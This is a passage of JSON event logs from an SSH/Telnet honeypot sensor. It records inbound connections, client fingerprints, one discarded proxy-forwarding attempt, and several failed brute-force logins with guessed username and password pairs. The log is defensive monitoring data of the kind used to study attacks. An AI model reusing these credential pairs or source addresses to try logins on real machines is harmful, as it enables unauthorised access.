{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.536739Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc7e9\\xaf\\xd2\\x9f\\xbcK\\x1f)\\x14O\\xef&\\x15\\xaaph\\x02c\\x10\\xcf\\x15\\xe2\\r\\xd4\\xcf\\xdc\\xb6\\x97\\xe0> \\x18_\\x157\\xc3O\\xe5K:4\\x96\\x94x+\\x87*NW\\xc5\\xe7\\x1f\\xb8\\xaf\\x8bd\\xeab\\xff\\xda@\\x91\\x85\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 Wt?\\xfd%99%\\x04Q}4b;dBc\\x0eHs\\xbbw\\xee\\xbc2\\xb7&V\\x94\\xfctq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc7e9\\xaf\\xd2\\x9f\\xbcK\\x1f)\\x14O\\xef&\\x15\\xaaph\\x02c\\x10\\xcf\\x15\\xe2\\r\\xd4\\xcf\\xdc\\xb6\\x97\\xe0> \\x18_\\x157\\xc3O\\xe5K:4\\x96\\x94x+\\x87*NW\\xc5\\xe7\\x1f\\xb8\\xaf\\x8bd\\xeab\\xff\\xda@\\x91\\x85\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 Wt?\\xfd%99%\\x04Q}4b;dBc\\x0eHs\\xbbw\\xee\\xbc2\\xb7&V\\x94\\xfctq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.541580Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:20.831031Z","src_ip":"123.27.168.40","session":"ead31f202a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27376,"dst_ip":"159.203.135.109","dst_port":22,"session":"5646b696eaf7","protocol":"ssh","message":"New connection: 91.92.40.36:27376 (159.203.135.109:22) [session: 5646b696eaf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:23.145701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:23.149954Z","src_ip":"91.92.40.36","session":"5646b696eaf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45184,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8aad15f3d46","protocol":"telnet","message":"New connection: 172.81.62.90:45184 (159.203.135.109:23) [session: e8aad15f3d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:23.386194Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:24.745200Z","src_ip":"91.92.40.36","session":"5646b696eaf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59066,"dst_ip":"159.203.135.109","dst_port":23,"session":"b682b473d578","protocol":"telnet","message":"New connection: 128.199.8.54:59066 (159.203.135.109:23) [session: b682b473d578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:25.254283Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword!001","message":"login attempt [ubuntu/P@ssword!001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:28.177367Z","src_ip":"91.92.40.36","session":"5646b696eaf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60354,"dst_ip":"159.203.135.109","dst_port":23,"session":"404054d8f970","protocol":"telnet","message":"New connection: 128.199.8.54:60354 (159.203.135.109:23) [session: 404054d8f970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:28.559544Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57548,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e6ddad48daa","protocol":"ssh","message":"New connection: 91.92.40.36:57548 (159.203.135.109:22) [session: 4e6ddad48daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:28.912703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:29.145168Z","src_ip":"91.92.40.36","session":"4e6ddad48daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:29.148333Z","src_ip":"91.92.40.36","session":"4e6ddad48daa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r5t6y","message":"login attempt [ubuntu/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:30.404413Z","src_ip":"91.92.40.36","session":"4e6ddad48daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:30.417392Z","src_ip":"91.92.40.36","session":"5646b696eaf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:31.979211Z","src_ip":"91.92.40.36","session":"4e6ddad48daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":44129,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6215a6945b4","protocol":"ssh","message":"New connection: 41.90.100.147:44129 (159.203.135.109:22) [session: a6215a6945b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:32.919995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:32.924686Z","src_ip":"41.90.100.147","session":"a6215a6945b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:33.207600Z","src_ip":"41.90.100.147","session":"a6215a6945b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1!!","message":"login attempt [root/Admin1!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:34.098369Z","src_ip":"41.90.100.147","session":"a6215a6945b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:35.315634Z","src_ip":"41.90.100.147","session":"a6215a6945b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57592,"dst_ip":"159.203.135.109","dst_port":22,"session":"679938745724","protocol":"ssh","message":"New connection: 91.92.40.36:57592 (159.203.135.109:22) [session: 679938745724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:35.418669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:36.035336Z","src_ip":"91.92.40.36","session":"679938745724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:36.038902Z","src_ip":"91.92.40.36","session":"679938745724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"magdalena","password":"7777777","message":"login attempt [magdalena/7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:38.955136Z","src_ip":"91.92.40.36","session":"679938745724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:40.779122Z","src_ip":"91.92.40.36","session":"679938745724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42446,"dst_ip":"159.203.135.109","dst_port":22,"session":"80f546a7af21","protocol":"ssh","message":"New connection: 91.92.40.36:42446 (159.203.135.109:22) [session: 80f546a7af21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:42.458923Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55868,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ee8c35b773b","protocol":"ssh","message":"New connection: 123.27.168.40:55868 (10.17.0.5:22) [session: 7ee8c35b773b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:42.765658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:42.770001Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:43.106838Z","src_ip":"123.27.168.40","session":"7ee8c35b773b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:43.183643Z","src_ip":"91.92.40.36","session":"80f546a7af21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:43.225248Z","src_ip":"91.92.40.36","session":"80f546a7af21","protocol":"ssh"}
